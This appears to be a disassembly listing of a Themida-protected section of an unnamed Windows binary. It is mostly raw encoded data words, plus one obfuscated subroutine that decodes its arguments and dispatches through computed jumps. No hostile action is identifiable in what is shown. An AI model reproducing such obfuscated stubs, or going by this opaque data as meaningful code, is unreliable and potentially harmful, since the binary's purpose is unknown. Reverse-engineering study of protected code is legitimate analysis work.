		dd 7EFFFFFFh, 0F0522747h, 382C95A3h, 0E8110AA5h, 0Ch, 0CE4CCFFAh
		dd 0E83E56BFh, 12F9581Bh, 8820F58h, 0F000000h, 28Bh, 81616000h
		dd 6246C0h, 0D6BF0F00h,	186C68h, 0C3816600h, 15F89D6h
		dd 1502A5BDh, 3130FF06h, 151CB18Dh, 0F08B5906h,	346AC181h
		dd 0B70F550Fh, 0F6E981D2h, 8B7AD5C1h, 1523959Dh, 7DF18106h
		dd 0B21C0726h, 9D8B5181h, 6150AC1h, 9D0B008Fh, 6152351h
		dd 0F04E883h, 684h, 71B50300h, 83061519h, 850F01EFh, 0FFFFFFB1h
		dd 6840F60h, 81000000h,	4E0DEF6h, 8B66607Eh, 0DE8B66C3h
		dd 8D8D6161h, 61BF415h,	16C58589h, 8D890615h, 6152721h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 36C35343h
		dd 30D8131Dh, 55BEE1DCh, 0F36A5B0h, 1582h, 10E900h, 504B0000h
		dd 0C4BC784h, 0E13D7863h, 73436134h, 85C7630Bh,	61504CDh
		dd 58D8h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	7AC35646h, 0DB287848h, 1585C7D6h, 61511h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 115DC355h, 0A4F320EBh, 2890F52h, 60000000h
		dd 0B5FF5A61h, 61533A9h, 0FFD3BF0Fh, 1502C995h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 9E786E88h, 0CA4149BDh, 0FF006A5Bh, 152E2195h, 0EBC08B06h
		dd 6F6A364Fh, 711C1213h, 8D769851h, 71BA815Eh, 0C211A2E7h
		dd 14E0BC3Eh, 0C44F0063h, 38E924FFh, 0B2E0EAF8h, 486B771Dh
		dd 1FA41463h, 0BAD566AAh, 0D6BF4E6Dh, 48B20D0Dh, 0F0ABB8A0h
		dd 5EBA8C62h, 1A553150h, 8F768AABh, 61BBE5F3h, 0C2C81B78h
		dd 0CE8h, 97871F00h, 248B9729h,	0A2782235h, 0CE92Ch, 766A0000h
		dd 729E47AFh, 4AED4794h, 8B5B4541h, 1528E18Dh, 0ACC38106h
		dd 0E9000065h, 6, 301D95DAh, 2E68036Bh,	8A000019h, 0F605AE7h
		dd 381h, 5BE28000h, 0F3B8B61h, 384h, 0F38B6600h, 7BA7C781h
		dd 8D894528h, 6151DC1h,	0E32DF781h, 8B661E7Eh, 60F781CEh
		dd 8B1617C0h, 1525E585h, 8D8B5706h, 6150A6Dh, 0F080038Fh
		dd 0F2EB81CCh, 0E81E1C19h, 12h,	0BFAC290Ah, 6C360164h
		dd 0AA260EBBh, 64F81297h, 81661398h, 5EDEA1CEh,	19EEC381h
		dd 9E91E1Ch, 0FC000000h, 0AD2BE909h, 2576E00Eh,	1EA81h
		dd 850F0000h, 1Fh, 2E1D8D89h, 2AE90615h, 3B000000h, 370A1B02h
		dd 63D14819h, 0B69423EFh, 9A1317C8h, 8B80BFA8h,	15111985h
		dd 0FF5BE906h, 8DDDFFFFh, 1FFB3433h, 0EC0373BBh, 8E820h
		dd 0EB480000h, 0CFB3A0C9h, 0FB8B1FEFh, 3FD38058h, 5BF5C081h
		dd 9D8B0000h, 615254Dh,	810FD233h, 5, 0E1B83FB9h, 234FF4Dh
		dd 5EFEBF0Fh, 12ADBD8Bh, 0C6810615h, 2167BA2Ch,	2D1D8D8Bh
		dd 0F6810615h, 2FDE97AAh, 0F681CE8Bh, 4CC6A255h, 89C88B66h
		dd 81601034h, 2B48B6F1h, 0A595892Dh, 61061506h,	0D0D18166h
		dd 4EA835Ch, 16D5BD89h,	0FA810615h, 0FFFFA4B4h,	1A850Fh
		dd 0E9FC0000h, 2Bh, 0B50FFF15h,	7723C0EDh, 9D9C85A1h, 0AF356B82h
		dd 0FDB3AE4Ch, 24CDBD8Bh, 86E90615h, 0FDFFFFFFh, 22AC3641h
		dd 0B1337849h, 826962E7h, 889A075h, 0DC781469h,	6BDB8DA6h
		dd 2E863630h, 908635A1h, 4813D925h, 99053025h, 14933040h
		dd 81023F25h, 7863025h,	57A69998h, 0A5893023h, 9086305Eh
		dd 4143B5E3h, 4CC83630h, 5AD4CF0Dh, 11A234A4h, 7BD9DFFDh
		dd 57865590h, 9D03BD23h, 6F802857h, 8E76BBF5h, 318FF5A0h
		dd 166E7E23h, 49863025h, 0D42E72F2h, 46A274AEh,	650F30AEh
		dd 6FDE3401h, 5DA69990h, 9803BD23h, 0ED802857h,	0B07EBBF5h
		dd 84863035h, 428638CCh, 0A4899625h, 9086302Bh,	474F3B6Ch
		dd 0DB79C0A0h, 128BD9DAh, 940B3025h, 82937FBBh,	4286359Dh
		dd 0AC65CF25h, 8B702898h, 960BBD23h, 9C802BD3h,	94B61537h
		dd 8247FF0Eh, 889A075h,	0DC781469h, 6BDB8DA6h, 2E863630h
		dd 908635A1h, 4813D925h, 99053025h, 5E98340h, 22B9A4F3h
		dd 0E8000000h, 8, 0FC20CE27h, 0F04D2C5h, 8B525EF8h, 150C758Dh
		dd 0C6815906h, 5F6Ah, 86013EB9h, 0FA6AB83Ch, 0C0817FCFh
		dd 80301D46h, 8C0CE781h, 36FF53D0h, 9E85Bh, 224A0000h
		dd 504AB207h, 8B43A1CDh, 151C8D95h, 0EB815906h,	11F38843h
		dd 4C6EEB81h, 8B500B84h, 0EB8159CBh, 4E874281h,	2D698D8Bh
		dd 89530615h, 1507A58Dh, 0E8068F06h, 5,	0FDBB11CDh, 0F58D8BBDh
		dd 59061516h, 0F363EE81h, 0DE95DC5h, 0F5000000h, 0CB5798E8h
		dd 905E7ACDh, 92983D99h, 0F35FC681h, 1CB25DC5h,	1E881h
		dd 850F0000h, 0FFFFFF86h, 0A583D781h, 9E940EDh,	14000000h
		dd 4CBCE4h, 0
		dd 7E6E9h, 2090EE00h, 0EB5BDE55h, 2898150Ah, 0E252D64Dh
		dd 2E9E1C13h, 685B5047h, 24FB9A0Ah, 6DC253C3h, 29F69F0Fh
		dd 8BB5ACAh, 55A7F46h, 6021169Dh, 0F296B6DCh, 69CA1086h
		dd 0EA8E1CF9h, 6121A4BAh, 0FC169C21h, 9A1E132Bh, 7713EC2Ah
		dd 0D646A4BDh, 3293F03Fh, 93C24E93h, 331C2D16h,	34A4062Bh
		dd 2494F102h, 58321DF2h, 0F666C5DEh, 3CBDF6E8h,	0C23059CCh
		dd 0EABB1693h, 0DDD949A9h, 6D0C0AE0h, 3ABEF3E9h, 0C2365BCAh
		dd 0E4B51693h, 0A3248B06h, 0A6169420h, 0E5B09F70h, 0BD4A6DD0h
		dd 42F39Dh, 24C70000h, 2B8856C6h, 6D6254C4h, 0B951C126h
		dd 9404667Bh, 0FFAEE7A2h, 1BFA6AC8h, 0A81E2386h, 1EA997h
		dd 247D0000h, 0E56056C6h, 1086F2B9h, 4C7B62CFh,	19977EEEh
		dd 2Dh,	30A0220Fh, 0B9610906h, 6056C624h, 86F2BEE5h, 0DF4FB010h
		dd 0F767CAD7h, 2366DDBFh, 0CA1086F2h, 6D60C7F9h, 7568D176h
		dd 0F580F052h, 0DB0BAB47h, 0EBFCD903h, 1695BA70h, 4E93320Ch
		dd 2D1086DCh, 0F74F6E1Ch, 86169C0Fh, 157081B5h,	0E263D0A5h
		dd 2B64472h, 9DCB0CD2h,	0CCE52C65h, 20ADF44Fh, 7F501693h
		dd 0BAA4BA50h, 8F87F779h, 86F675BEh, 20C5B9E4h,	0B788108Eh
		dd 0AA15847Fh, 2889EB48h, 0AC20749Dh, 926F71Ch,	0D95A300Dh
		dd 1A09EC5Ch, 88EB2B9Bh, 1CAC2031h, 0DED848AFh,	0C4F262C5h
		dd 0C91AC52Ch, 4A7D30D7h, 8E9A7BEBh, 73E3624Fh,	32622197h
		dd 2443270Ah, 866557C7h, 2673A6A2h, 2EB968A8h, 0CD000000h
		dd 0BCE010ABh, 0E0A864Fh, 2B1794ABh, 346FD3Fh, 0EA1086C1h
		dd 8D4FE3D9h, 45EDA848h, 0AE06C45h, 59C92412h, 0B5725663h
		dd 41h,	0E3624FD1h, 4A65D557h, 2197734Ch, 22921662h, 97181BF4h
		dd 4F140827h, 86F2ADF4h, 0EDF1DE10h, 55D763C4h,	0F3DCB1E5h
		dd 0FC20CAC3h, 0C4248D4Fh, 96BB8A54h, 551086F2h, 246EA644h
		dd 566359C9h, 57C72472h, 732FE45Fh, 179E108Bh, 2C9C1FA8h
		dd 4DAC0549h, 0E2D444C1h, 0EB28C2EDh, 121F1787h, 0B35640B0h
		dd 76F4D3FAh, 0C6EB6F06h, 9716F464h, 97AC9B12h,	329Ah
		dd 8D4F6E00h, 86F293B6h, 0FF6FCD10h, 2D5AC6B7h,	625B5BCBh
		dd 0F6C9D4Dh, 6D11979Fh, 0B110213Dh, 3093A941h,	169C0920h
		dd 0D64A4C5Dh, 467604Fh, 4F3B0194h, 4571E162h, 1271A248h
		dd 37BB9CA2h, 0C8DE76B5h, 331913F7h, 0D0979FEh,	0A0605A30h
		dd 4669D954h, 46B63B78h, 0F3392A4h, 2E169CE7h, 0E470992Ch
		dd 2AFB1690h, 40C37005h, 595FE6D0h, 0D092EF4Ah,	0D242A50Eh
		dd 0A44E8138h, 0CFBB2B8Fh, 0A471E162h, 0F821A4BAh, 839A0E72h
		dd 0F019ACB2h, 7B9A0E72h, 0F053C0AAh, 0D3F6CD8Fh, 9A9A0E72h
		dd 72F51C89h, 8B789A0Eh, 8D82B424h, 1F898DA2h, 0B40F2F5Fh
		dd 9C1373ACh, 735C0D1h,	54EF10ABh, 1086F20Dh, 0CCF0DFF0h
		dd 6DDD624Fh, 0B9E06329h, 441086F2h, 80AE5C73h,	57C7247Ch
		dd 0A6A28665h, 68A82673h, 173A09D3h, 0D61386F2h, 41F525C5h
		dd 11000000h, 0BCE010ABh, 0F2ADF44Fh, 7F501086h, 6B7C765Fh
		dd 0B60B2F5Dh, 624F60D4h, 4A4373E3h, 249E9EA0h,	4F6359C9h
		dd 6B1A4A86h, 12F879A9h, 47AA0753h, 0A5EEDFD7h,	0E1DED848h
		dd 2EB51109h, 0D1000000h, 0BCE010ABh, 0F2ADF44Fh, 0D5DE1086h
		dd 0F363C652h, 0D2E5CAC3h, 1F0CFDEDh, 9389A698h, 864F6B4Fh
		dd 3F8DB82Ch, 0E724C63Dh, 56261686h, 0E1624F72h, 1B989971h
		dd 90A16BABh, 7A29C131h, 108B73C5h, 5C2ED74h, 0D05F36A6h
		dd 1F140272h, 4CEB2B9Bh, 0ED4D7A65h, 0A00D987Dh, 2897AC9Bh
		dd 3Eh,	57C72404h, 0F525D95Fh, 65E5AE9h, 0CEDF169Ch, 0CE3EC3F0h
		dd 8001F21Ch, 0AF0D2610h, 5940F73Fh, 0D1B37D66h, 0E611380Bh
		dd 3A731693h, 45ECA17Fh, 0B081987h, 5B5634A4h, 80F05374h
		dd 0C72447F5h, 25D95F57h, 4E5AE9F5h, 0CF169C09h, 0FE3317FEh
		dd 0BB5F0B7Bh, 0DEE010ABh, 4E475FF9h, 9377F66Eh, 248D4F9Fh
		dd 0A5EC59C9h, 481086F2h, 50C03C77h, 93816966h,	9A0A68C9h
		dd 53C7A39Ch, 0DF66C724h, 1086F2BAh, 5D5F7041h,	73A6A286h
		dd 0B968A826h, 2Ah, 0E010ABCDh,	0DE624FBCh, 0BBA7C6Eh
		dd 1086F2C6h, 4FA894A5h, 59C9246Bh, 0B5725663h,	4Ah, 6A1FE2F3h
		dd 3F8DA69Eh, 624FE74Bh, 0ACE778E0h, 0E3754AC6h, 15F5CACCh
		dd 8CB0E09Bh, 0F2ADF44Fh, 0C5EE1086h, 0CEBFF767h, 242D0A1Ch
		dd 0F889873Ah, 4F0D0F20h, 53C3248Dh, 9575E560h,	61C9249Dh
		dd 788D296Eh, 0F02C0364h, 624F7256h, 0EA6479E1h, 0EFCFB847h
		dd 0DEF9D6C0h, 918FAB1Eh, 0D1422833h, 0F73C0272h, 3D120474h
		dd 0AF64DF4Dh, 1E108B0Eh, 1C9F2897h, 0D95AC9ACh, 3C7AEA4Dh
		dd 0C02A6C43h, 0D00ED000h, 0C12370Eh, 0C8D91082h, 0DB838322h
		dd 0C9D21698h, 0EABC1711h, 791C3331h, 0E010ABB3h, 244327BCh
		dd 866557C7h, 2673A6A2h, 3DB968A8h, 0CD000000h,	0BCE010ABh
		dd 0F2ADF44Fh, 7F501086h, 246B4F3Dh, 4BBB3DC9h,	5F5D724Bh
		dd 8D4F7256h, 86F293B6h, 0A1495A10h, 3501h, 9E253700h
		dd 1086F27Bh, 0F2FC25A0h, 0AE7F1086h, 0D14921F2h, 0DEE010ABh
		dd 4E656D5h, 0ADF44F10h, 0DE1086F2h, 6B4FCBF1h,	6DDD624Fh
		dd 0B852C226h, 928AFA7Bh, 0C7247256h, 0FA4E8757h, 1282E709h
		dd 970C2B24h, 87AC361Bh, 0B46D290Dh, 0BE45EF9Bh, 108B2B09h
		dd 4500DEC0h, 1082281Ch, 751CCEDFh, 8EFE7D4Ah, 4BBB38E7h
		dd 0E85B814Bh, 108228A1h, 298F7B4Ch, 0AA192555h, 169F22E6h
		dd 0AA1A9A87h, 0D9BC936Ch, 50C03C75h, 99816966h, 0BCE010ABh
		dd 0C7244327h, 0A2866557h, 0A82673A6h, 2FB968h,	0E6EF0000h
		dd 5CE67AC7h, 7DB55528h, 0BCE010ABh, 0F44F8D4Fh, 1086F2ADh
		dd 308B7F50h, 1086F2E9h, 4F998394h, 59C9246Bh, 0B5725663h
		dd 37h,	0E010ABD1h, 0E2624FBCh,	66506572h, 9C900553h, 0B4DD68EEh
		dd 0D510866Fh, 0D8EAB100h, 0D2ABEB5Bh, 5A364305h, 8BB19EB0h
		dd 6DDD624Fh, 0A0B65429h, 59C9249Ch, 24725663h,	0D95F57C7h
		dd 0ECE9F525h, 9D333892h, 56349Ah, 9C82B145h, 0D1574416h
		dd 916F5661h, 0DCEB458Eh, 0FB3822F3h, 2C660474h, 0C3825C8Ch
		dd 10B73B46h, 69B01315h, 871CB738h, 3A0BB525h, 0CFF991Dh
		dd 0AA851AF8h, 84F4776Ch, 89F979BAh, 1E9D92E1h,	0F66F57B6h
		dd 0A7888631h, 2DD0146Fh, 0E95571Fh, 0BB82539Fh, 0DCBF02E1h
		dd 0CF3FBDF6h, 1714F6C7h, 0E2512494h, 0ACC5F161h, 0DBDADC4Ch
		dd 0E744832Ah, 77BC9E77h, 0BA9383F3h, 70E063D0h, 1CBE46h
		dd 0E2FC0000h, 5E1B3E63h, 0FEECBD46h, 446D2F16h, 4F3D79E9h
		dd 86F2ADF4h, 507F5010h, 0CA2482BAh, 0E4475C5Ah, 0D3314274h
		dd 0B93E3363h, 0D6544D49h, 0BF433066h, 0D65A474Fh, 0C2433066h
		dd 0EA4F6452h, 52783C7Ah, 0C281E289h, 4, 8704EA83h, 248B2414h
		dd 7CE26824h, 1C890000h, 1F0B6824h, 0C890000h, 0CE685024h
		dd 584C631Ah, 0AD1DF435h, 11BE5606h, 0C1200C2Bh, 0F68104E6h
		dd 34C53AADh, 0DEF7DEF7h, 0E107C681h, 0F0210A21h, 0C362D5Eh
		dd 0C38903ECh, 0C8B5458h, 4C48124h, 53000000h, 1B1BB951h
		dd 4C010F99h, 8F590424h, 69810841h, 991B1B08h, 240C8B0Fh
		dd 81E78957h, 4C7h, 4C78100h, 87000000h, 0FF5C243Ch, 815B2434h
		dd 4C4h, 7EACE900h, 0CB67FFF9h,	37B2C23Dh, 0B85DD0D1h
		dd 61BFF10h, 0E0FFC503h, 200CEFEEh, 562F7D3Eh, 687A83B0h
		dd 45A0BDF4h, 45C1FD68h, 7BAADFAEh, 11CFB437h, 5C5A3DDh
		dd 4D49E454h, 541D14A1h, 390E3844h, 2E3CAA2Fh, 6CAA5234h
		dd 13E8h, 58283F00h, 426E927Ch,	78817F7h, 0C51083F8h, 0D91AF36Eh
		dd 0BA5BC68Bh, 34B77E18h, 69A7C381h, 0F500000h,	480h, 3BB86600h
		dd 39BF58AAh, 8B00001Ah, 0AE80Bh, 0F6CE0000h, 48EA90F9h
		dd 0E37C9C8h, 0AE952h, 0E3F50000h, 0B44B2F21h, 518137E2h
		dd 0F181585Ah, 69257C4Eh, 0C18156B4h, 7B30665h,	5AF28166h
		dd 27C18124h, 661D4C6Fh, 8051D38Bh, 38F82DEh, 0EB83F78Bh
		dd 0F0B70F04h, 0F01EF83h, 2485h, 6E900h, 0C59D0000h, 807B6D69h
		dd 2FE9h, 2375AC00h, 5E42BFDAh,	0EFC26868h, 0CC19C368h
		dd 2F6F3602h, 324FBE69h, 7CE9069Ch, 41FFFFFFh, 84922217h
		dd 46CE7579h, 1A98625h,	5B2AFB81h, 1638D8Dh, 8B66061Ch
		dd 0D850FC6h, 0E9000000h, 8, 395C3247h,	0A2228744h, 27218D89h
		dd 0BD230615h, 6153399h, 4CD85C7h, 6EE40615h, 0DE810000h
		dd 3F46B226h, 111585C7h, 615h, 6A0000h,	3E853h,	5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 5F6EB9C3h
		dd 25B5896Ch, 0FF061529h, 153375B5h, 81853306h,	0FF061527h
		dd 1502C995h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 5EFD2218h, 0D5EB24B1h, 8166E0EDh
		dd 6AD667CAh, 2195FF00h, 8B06152Eh, 0EA0AEBC0h,	0C8264CA7h
		dd 7AFED267h, 878D8D61h, 6A061C02h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 5D37C357h
		dd 0E97DB603h, 12h, 1A3BC6Fh, 0F42AAAFBh, 0E0C0341Ah, 47351328h
		dd 8D89B124h, 6152721h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 45C35343h, 0ACADB1D9h, 5890F43h, 66000000h
		dd 1E33C281h, 0C6D9D8Bh, 85C70615h, 61504CDh, 6BA0h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0B0C35545h, 15DDB509h
		dd 0BD890615h, 6152509h, 111585C7h, 615h, 0B5890000h, 6150401h
		dd 10F1B5FFh, 6A0615h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 0D76D4DC3h, 7CE4EA94h, 95FFF9FEh
		dd 61502C9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	0FFC35242h, 4840F35h, 66000000h, 6A68F9BEh, 2195FF00h
		dd 8B06152Eh, 1878EBC0h, 46FC4B57h, 0ACA562CBh,	0CDD457FBh
		dd 20EB115Dh, 5FCCA4F3h, 7567713Ah, 6645D2ECh, 0BD08A6FEh
		dd 0B4DA5603h, 328FCFD3h, 0A3728794h, 0B510931Fh, 4B2E3588h
		dd 92A377C5h, 8CAACDFBh, 34CC2BC2h, 93D90A2h, 0D0046D68h
		dd 0E325956h, 0F2A20EFFh, 9FF4757Fh, 8A31DF0Bh,	0F0437034h
		dd 0DE5D28EAh, 0F14F7327h, 7936542Ch, 52DBE427h, 9634E09Ch
		dd 67C918BCh, 0E88CEB9Dh, 10h, 831238B3h, 0B95B6032h, 571E30AAh
		dd 0C83C2701h, 5EC78B66h, 0B723F081h, 0C68132D7h, 6107h
		dd 68BBB3h, 8B000000h, 0FC535FC7h, 3E0C8B5Bh, 0D4DB8166h
		dd 0CBF1813Dh, 0B4E97C5h, 151D7185h, 3DF18106h,	8928F787h
		dd 15172D95h, 0C2F18106h, 0F591C12h, 684h, 35858B00h, 51061529h
		dd 0C140DA81h, 48F1FF7h, 1595893Eh, 89061503h, 1519F195h
		dd 0A0EF8106h, 92A29FAh, 1512ADB5h, 9CC78106h, 0B2A29FAh
		dd 15199995h, 94FF8106h, 0FFFFF9Fh, 0FFFF9485h,	318D89FFh
		dd 8D061527h, 1C04928Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 96059A6Eh, 14E8A3h, 47690000h
		dd 0BCA9EB68h, 6CD588D5h, 825A1560h, 0B67AF512h, 0BB660226h
		dd 895EFA96h, 1527218Dh, 0EB816606h, 85C7585Ch,	61504CDh
		dd 728Ch, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 19h,	3BC35040h, 0FB78C1D4h, 19BD8B93h, 0C7061523h, 15111585h
		dd 6, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 13E8E0h, 98920000h, 4A82E201h, 82E8BF80h
		dd 4AE2F908h, 0A5D1D2E0h, 0A19D8B19h, 5B061509h, 1D45B5FFh
		dd 95010615h, 6150219h,	2C995FFh, 7E90615h, 4C000000h
		dd 6CA23863h, 6ADA87h, 2E2195FFh, 0C08B0615h, 90F70BEBh
		dd 0E7B292F8h, 0AF37A02Dh, 688D8D7Eh, 8B061C05h, 152C9185h
		dd 218D8906h, 60061527h, 79858B60h, 0E9061529h,	0Ch, 3106CBDAh
		dd 0F2923833h, 30933F8Fh, 0CEB70F61h, 0CD85C761h, 0D8061504h
		dd 6A000064h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 0D06BC353h, 111585C7h,	615h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 83BA4BC3h, 37C2E05Ah, 1365C61h, 150C35BDh, 95B5FF06h
		dd 89061505h, 1519AD8Dh, 0C995FF06h, 6A061502h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 7DF5C350h, 25FBEA75h, 95FF006Ah
		db 21h,	2Eh, 15h
byte_5E9F97	db 6			; DATA XREF: Themida_:0057B3DCo
		dd 6AEBC08Bh, 0EA890D1Ah, 3F8A8A07h, 705A73E4h,	195DC509h
		dd 61B42056h, 0FDEDA0C3h, 3C0489CFh, 9F6178B7h,	434371DEh
		dd 9FB1BB15h, 9FD50D2Eh, 0F3478A22h, 59AD0CBDh,	349D069Fh
		dd 11FF97BDh, 864EE295h, 941881CCh, 4011D0D5h, 0A7ADBA15h
		dd 0FE8FCB49h, 9C22F12Dh, 61A7ED0h, 7B3D7AA2h, 0BE845930h
		dd 0C5EFD5DDh, 6620D8A3h, 8E873A3h, 0AB000000h,	8E9666EDh
		dd 9F3D589h, 152F618Dh,	81F85806h, 7105C0h, 0BFCE8B00h
		dd 558371D9h, 55B3EF81h, 81665583h, 8B1A84D9h, 0D3BF0F30h
		dd 7A40EE81h, 0BD89582Bh, 61508F1h, 0F60FF681h,	8589258Fh
		dd 61522D9h, 0EAECC681h, 3089023Eh, 3318D89h, 0E8830615h
		dd 5E904h, 0FBBD0000h, 4F24C466h, 0FFC1850Fh, 5E9FFFFh
		dd 29000000h, 86049BAh
dword_5EA07C	dd 7378D8Dh, 6A061Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h
					; DATA XREF: Themida_:0057BD08o
		dd 150424h, 51410000h, 663F45C3h, 44CCF781h, 27218D89h
		dd 11E90615h, 68000000h, 7017AF46h, 0BF1CA08Ch,	0B5A9B294h
		dd 6E467967h, 4CD85C7h,	58080615h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0D37B16C3h
		dd 29E8ACA4h, 1504DD8Dh, 1585C706h, 61511h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 0C4DBC353h, 22710FFBh, 0C840F1Ch,	0F000000h
		dd 680h, 49EF8100h, 0FF0CCD37h,	152921B5h, 0CE96006h, 9000000h
		dd 2D9A06C2h, 0B2993FD5h, 230C8C7Ch, 150CC195h,	95FF6106h
		dd 61502C9h, 7864CDBEh,	3D95890Fh, 6A061502h, 2195FF00h
		dd 8B06152Eh, 844DEBC0h, 9030BC6Eh, 56D8895Bh, 0F9F5891h
		dd 313D4855h, 72202418h, 5D75AEB6h, 6C54F2C9h, 67A53FD1h
		dd 774B10A9h, 0CDF8E159h, 68F324B9h, 42BDAA7h, 0F5B82A86h
		dd 72D8F588h, 6B05611Eh, 0F878F846h, 369F09AAh,	323DFB22h
		dd 6455036Ah, 15FE9h
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_5EA1BD	proc near		; CODE XREF: sub_406890+12Cp
					; sub_409BC0+1Cp ...
		push	edx
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 61C0797h
		mov	eax, [edx+8]
		cmp	eax, 78263845h
		jnz	loc_5EA313
		mov	eax, [edx+0Ch]
		mov	ecx, [edx+18h]
		ror	eax, cl
		mov	ebx, 71B167A6h
		xor	eax, ebx
		sub	eax, 4
		mov	[ebp+6152721h],	eax
		mov	ebx, [eax+4]
		mov	edi, eax
		mov	eax, [edx+10h]
		mov	ecx, [edx+18h]
		ror	eax, cl
		mov	esi, 0D9248B32h
		xor	eax, esi
		sub	eax, edi
		and	eax, 0FFFFFFFCh
		sub	eax, 4
		mov	[ebp+61504CDh],	eax
		mov	eax, [edx+14h]
		mov	[ebp+6151115h],	eax
		mov	eax, [edx+18h]
		push	ebx
		jmp	loc_5EA2D7
; ---------------------------------------------------------------------------
		db 0FFh
		dd 151D45B5h, 0B9E906h,	0B5FF0000h, 6152F59h, 0AEE9h, 0DB5FF00h
		dd 0E906152Eh, 0A3h, 595B5FFh, 98E90615h, 0FF000000h, 152D19B5h
		dd 8DE906h, 0B5FF0000h,	61510F1h, 82E9h, 0EDB5FF00h, 0E9061533h
		dd 77h,	2B5B5FFh, 6CE90615h, 0FF000000h, 1523E1B5h, 61E906h
		dd 0B5FF0000h, 6152921h, 56E9h,	39B5FF00h, 0E9061523h
		dd 4Bh,	3375B5FFh, 40E90615h, 0FF000000h, 150009B5h, 35E906h
		dd 0B5FF0000h, 6152CBDh, 2AE9h,	49B5FF00h, 0E906152Ah
		dd 1Fh,	33A9B5FFh, 14E90615h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5EA2D7:				; CODE XREF: sub_5EA1BD+65j
		mov	ebx, eax
		mov	eax, 0Bh
		mul	bx
		lea	ecx, [ebp+61C07F8h]
		add	ecx, eax
		jmp	ecx
; ---------------------------------------------------------------------------
		db 0FFh
		dd 1502C995h, 858B5B06h, 6152721h, 0F045839h, 0F85h, 16A5300h
		dd 2E2195FFh, 0E95B0615h, 0FFFFFFE2h
		db 61h,	5Ah, 0C3h
; ---------------------------------------------------------------------------


loc_5EA313:				; CODE XREF: sub_5EA1BD+18j
		popa
		pop	edx
		mov	eax, 7E41A8ADh
		jmp	eax
sub_5EA1BD	endp

; ---------------------------------------------------------------------------
		dd 2F29858Bh, 8D8D0615h, 61C08E6h, 8B014189h, 0C585C6C3h
		dd 56061509h, 0C530DF68h, 11B5FFA9h, 8D061528h,	1872BC85h
		dd 8DD0FF06h, 1528398Dh, 406A5106h, 33B9B5FFh, 0B5FF0615h
		dd 615119Dh, 0B5FFD0FFh, 61533B9h, 119DB5FFh, 0DE80615h
		dd 24000000h, 0DB41C830h, 0A7C8E699h, 32943FFAh, 0E8835858h
		dd 242CC104h, 2424C102h, 24040302h, 2B241CF7h, 634FFF6h
		dd 0BDEF815Fh, 81161E00h, 20F5FC7h, 0E5EF8141h,	5746F513h
		dd 8330048Fh, 343B04EEh, 0DA850F24h, 8DFFFFFFh,	150FFD9Dh
		dd 0B038B06h, 7840FC0h,	8B000000h, 45B8B03h, 0C98B1889h
		dd 0A4D8D8Dh, 6A061Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 3DB767C3h, 8D640B96h, 89D98B54h
		dd 1527218Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 372C1A7Ch, 0C71B1F9Bh, 1504CD85h
		dd 6A3C06h, 3D9D2300h, 0C7061502h, 15111585h, 6, 0A1B58900h
		dd 0FF06150Bh, 1502B5B5h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 4B84D490h
		dd 9797C5ABh, 95FF9679h, 61502C9h, 0FF006AF5h, 152E2195h
		dd 0EBC08B06h, 0E31D862Fh, 52A5D089h, 0DBB575F6h, 1FB96EDh
		dd 0BB82CDE3h, 0B5F692B4h, 2459909Eh, 4C4B8793h, 9856C18Ah
		dd 0AF595D85h, 0B84CC1E0h, 0DD204B7h, 0E5E9h, 98306700h
		dd 459CD717h, 0E1C8C3CAh, 0ACABDAB6h, 92B395A7h, 95A1F445h
		dd 0ABDA00B3h, 5D20A7ECh, 0F46BB291h, 752096B1h, 0B79B5520h
		dd 0A5BCF26Bh, 94A19692h, 99603A75h, 0BD329FB7h, 0B2E9B599h
		dd 0F292A59Ch, 7695ACA3h, 97B1EFh, 0A5B4F94Eh, 6B5C009Fh
		dd 924AF07Bh, 52D0008Ah, 53F545F3h, 0D979A3F6h,	0AFF144D6h
		dd 41F445E3h, 0B000D77Dh, 6BBF9792h, 0CF60FD75h, 0BCF996BFh
		dd 7D20B293h, 0F79B5720h, 0BD9492ABh, 0BCE3B29Eh, 9BE0CE9Dh
		dd 9D728F89h, 0EEA9FD8Fh, 0B6F66DB4h, 7293BCE1h, 97B3EDh
		dd 43F1B6D0h, 0F0A8CDh,	0
		dd 129D7447h, 5E99E0E3h, 0Bh dup(0)
		dd 6DE90000h, 68000015h, 61C0D77h, 0F972D9E9h, 0E8268FFh
		dd 0CFE9061Ch, 68FFF972h, 61C0F5Eh, 0F972C5E9h,	109868FFh
